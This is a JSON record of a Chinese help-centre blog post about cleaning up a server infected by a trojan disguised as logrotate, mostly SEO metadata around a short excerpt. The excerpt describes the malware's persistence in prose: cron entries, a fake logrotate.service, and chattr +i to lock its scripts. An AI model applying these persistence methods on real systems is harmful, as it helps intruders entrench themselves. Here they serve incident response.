\/><\/p>\n<h3>\u4fee\u6539\u4e91\u670d\u52a1\u5668\u5b89\u5168\u7ec4<\/h3>\n<p>\u53ea\u5bf9\u4e00\u4e9bip\u548c\u7aef\u53e3\u5f00\u653e<\/p>\n<p>\u5230\u6b64&#xff0c;\u6240\u6709\u7684\u6e05\u9664\u5de5\u4f5c\u5c31\u7ed3\u675f\u4e86&#xff0c;\u4fee\u6539\u4e0b\u5bc6\u7801&#xff0c;\u91cd\u542f\u670d\u52a1\u5668\u5e94\u8be5\u5c31\u53ef\u4ee5\u4e86<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb1.7k\u6b21\uff0c\u70b9\u8d5e23\u6b21\uff0c\u6536\u85cf12\u6b21\u3002\u8fd8\u8bd5\u56fe\u5c06\u6b64\u811a\u672c\u63d2\u5165\u5404\u79cd\u7cfb\u7edf\u7ea7cron\u76ee\u5f55\u548csystemd\u670d\u52a1\u4e2d\uff0c\u4ee5\u786e\u4fdd\u5b83\u6301\u7eed\u8fd0\u884c\u6216\u5b9a\u671f\u68c0\u67e5\uff0c\u8fd9\u6709\u6548\u5730\u4f7f\u5176\u66f4\u96be\u4ee5\u79fb\u9664\uff0c\u5e76\u786e\u4fdd\u5b83\u5b9a\u671f\u8fd0\u884c\u3002\u4f7f\u5728\u6b64\u6a21\u5f0f\u4e0b\u548c\u6b63\u5e38\u542f\u52a8\u7684\u7cfb\u7edf\u5dee\u522b\u4e0d\u5927\u4ee5root\u8eab\u4efd\u8fd0\u884c\uff0c\u62e5\u6709\u6700\u9ad8\u6743\u9650\u53ef\u4ee5\u5bf9\u6240\u6709\u6587\u4ef6\u8bfb\u5199\uff0c\u53ea\u662f\u4e0d\u9700\u8981\u8f93\u5165root\u5bc6\u7801\uff0c\u6240\u4ee5\u5c31\u53ef\u4ee5\u5b9e\u73b0\u5f3a\u5236\u66f4\u6539\u5bc6\u7801\u3002\u8bbe\u7f6e\u4e86\u4e00\u4e2a\u540d\u4e3alogrotate.service\u7684systemd\u670d\u52a1\u6765\u8fd0\u884c\u4e0b\u8f7d\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u5e76\u5c1d\u8bd5\u5c06\u6267\u884c\u547d\u4ee4\u6dfb\u52a0\u5230\u4e0d\u540c\u9891\u7387\u7684\u5404\u79cdcron\u76ee\u5f55\uff08\u6bcf\u5c0f\u65f6\u3001\u6bcf\u5929\u3001\u6bcf\u5468\u3001\u6bcf\u6708\u3001\u6bcf\u5e74\uff09\u4e2d\uff0c\u5e76\u4f7f\u7528chattr +i\u547d\u4ee4\u4f7f\u8fd9\u4e9b\u811a\u672c\u53d8\u4e3a\u4e0d\u53ef\u66f4\u6539\u3002_logrotate\u5360\u7528cpu\u9ad8<\/p>\n","protected":false},"author":2,"featured_media":12143,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[58,78,44],"topic":[],"class_list":["post-12157","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-linux","tag-78","tag-44"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u4e8c\u6b21\u8bb0\u5f55\u670d\u52a1\u5668\u88ab\uff08logrotate\uff09\u6728\u9a6c\u5165\u4fb5\u4e8b\u4ef6 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/12157.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u4e8c\u6b21\u8bb0\u5f55\u670d\u52a1\u5668\u88ab\uff08logrotate\uff09\u6728\u9a6c\u5165\u4fb5\u4e8b\u4ef6 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb1.7k\u6b21\uff0c\u70b9\u8d5e23\u6b21\uff0c\u6536\u85cf12\u6b21\u3002\u8fd8\u8bd5\u56fe\u5c06\u6b64\u811a\u672c\u63d2\u5165\u5404\u79cd\u7cfb\u7edf\u7ea7cron\u76ee\u5f55\u548csystemd\u670d\u52a1\u4e2d\uff0c\u4ee5\u786e\u4fdd\u5b83\u6301\u7eed\u8fd0\u884c\u6216\u5b9a\u671f\u68c0\u67e5\uff0c\u8fd9\u6709\u6548\u5730\u4f7f\u5176\u66f4\u96be\u4ee5\u79fb\u9664\uff0c\u5e76\u786e\u4fdd\u5b83\u5b9a\u671f\u8fd0\u884c\u3002\u4f7f\u5728\u6b64\u6a21\u5f0f\u4e0b\u548c\u6b63\u5e38\u542f\u52a8\u7684\u7cfb\u7edf\u5dee\u522b\u4e0d\u5927\u4ee5root\u8eab\u4efd\u8fd0\u884c\uff0c\u62e5\u6709\u6700\u9ad8\u6743\u9650\u53ef\u4ee5\u5bf9\u6240\u6709\u6587\u4ef6\u8bfb\u5199\uff0c\u53ea\u662f\u4e0d\u9700\u8981\u8f93\u5165root\u5bc6\u7801\uff0c\u6240\u4ee5\u5c31\u53ef\u4ee5\u5b9e\u73b0\u5f3a\u5236\u66f4\u6539\u5bc6\u7801\u3002\u8bbe\u7f6e\u4e86\u4e00\u4e2a\u540d\u4e3alogrotate.service\u7684systemd\u670d\u52a1\u6765\u8fd0\u884c\u4e0b\u8f7d\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u5e76\u5c1d\u8bd5\u5c06\u6267\u884c\u547d\u4ee4\u6dfb\u52a0\u5230\u4e0d\u540c\u9891\u7387\u7684\u5404\u79cdcron\u76ee\u5f55\uff08\u6bcf\u5c0f\u65f6\u3001\u6bcf\u5929\u3001\u6bcf\u5468\u3001\u6bcf\u6708\u3001\u6bcf\u5e74\uff09\u4e2d\uff0c\u5e76\u4f7f\u7528chattr +i\u547d\u4ee4\u4f7f\u8fd9\u4e9b\u811a\u672c\u53d8\u4e3a\u4e0d\u53ef\u66f4\u6539\u3002_logrotate\u5360\u7528cpu\u9ad8\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/12157.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-18T11:15:43+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111539-6802345bd1a47.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/12157.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/12157.html\",\"name\":\"\u4e8c\u6b21\u8bb0\u5f55\u670d\u52a1\u5668\u88ab\uff08logrotate\uff09\u6728\u9a6c\u5165\u4fb5\u4e8b\u4ef6 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2025-04-18T11:15:43+00:00\",\"dateModified\":\"2025-04-18T11:15:43+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/12157.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/12157.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/12157.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u4e8c\u6b21\u8bb0\u5f55\u670d\u52a1\u5668\u88ab\uff08logrotate\uff09\u6728\u9a6c\u5165\u4fb5\u4e8b\u4ef6\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u4e8c\u6b21\u8bb0\u5f55\u670d\u52a1\u5668\u88ab\uff08logrotate\uff09\u6728\u9a6c\u5165\u4fb5\u4e8b\u4ef6 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/12157.html","og_locale":"zh_CN","og_type":"article","og_title":"\u4e8c\u6b21\u8bb0\u5f55\u670d\u52a1\u5668\u88ab\uff08logrotate\uff09\u6728\u9a6c\u5165\u4fb5\u4e8b\u4ef6 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb1.7k\u6b21\uff0c\u70b9\u8d5e23\u6b21\uff0c\u6536\u85cf12\u6b21\u3002\u8fd8\u8bd5\u56fe\u5c06\u6b64\u811a\u672c\u63d2\u5165\u5404\u79cd\u7cfb\u7edf\u7ea7cron\u76ee\u5f55\u548csystemd\u670d\u52a1\u4e2d\uff0c\u4ee5\u786e\u4fdd\u5b83\u6301\u7eed\u8fd0\u884c\u6216\u5b9a\u671f\u68c0\u67e5\uff0c\u8fd9\u6709\u6548\u5730\u4f7f\u5176\u66f4\u96be\u4ee5\u79fb\u9664\uff0c\u5e76\u786e\u4fdd\u5b83\u5b9a\u671f\u8fd0\u884c\u3002\u4f7f\u5728\u6b64\u6a21\u5f0f\u4e0b\u548c\u6b63\u5e38\u542f\u52a8\u7684\u7cfb\u7edf\u5dee\u522b\u4e0d\u5927\u4ee5root\u8eab\u4efd\u8fd0\u884c\uff0c\u62e5\u6709\u6700\u9ad8\u6743\u9650\u53ef\u4ee5\u5bf9\u6240\u6709\u6587\u4ef6\u8bfb\u5199\uff0c\u53ea\u662f\u4e0d\u9700\u8981\u8f93\u5165root\u5bc6\u7801\uff0c\u6240\u4ee5\u5c31\u53ef\u4ee5\u5b9e\u73b0\u5f3a\u5236\u66f4\u6539\u5bc6\u7801\u3002\u8bbe\u7f6e\u4e86\u4e00\u4e2a\u540d\u4e3alogrotate.service\u7684systemd\u670d\u52a1\u6765\u8fd0\u884c\u4e0b\u8f7d\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u5e76\u5c1d\u8bd5\u5c06\u6267\u884c\u547d\u4ee4\u6dfb\u52a0\u5230\u4e0d\u540c\u9891\u7387\u7684\u5404\u79cdcron\u76ee\u5f55\uff08\u6bcf\u5c0f\u65f6\u3001\u6bcf\u5929\u3001\u6bcf\u5468\u3001\u6bcf\u6708\u3001\u6bcf\u5e74\uff09\u4e2d\uff0c\u5e76\u4f7f\u7528chattr +i\u547d\u4ee4\u4f7f\u8fd9\u4e9b\u811a\u672c\u53d8\u4e3a\u4e0d\u53ef\u66f4\u6539\u3002_logrotate\u5360\u7528cpu\u9ad8","og_url":"https:\/\/www.wsisp.com\/helps\/12157.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2025-04-18T11:15:43+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418111539-6802345bd1a47.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"5 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/12157.html","url":"https:\/\/www.wsisp.com\/helps\/12157.html","name":"\u4e8c\u6b21\u8bb0\u5f55\u670d\u52a1\u5668\u88ab\uff08logrotate\uff09\u6728\u9a6c\u5165\u4fb5\u4e8b\u4ef6 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2025-04-18T11:15:43+00:00","dateModified":"2025-04-18T11:15:43+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/12157.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/12157.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/12157.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u4e8c\u6b21\u8bb0\u5f55\u670d\u52a1\u5668\u88ab\uff08logrotate\uff09\u6728\u9a6c\u5165\u4fb5\u4e8b\u4ef6"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/12157","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=12157"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/12157\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/12143"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=12157"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=12157"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=12157"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=12157"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}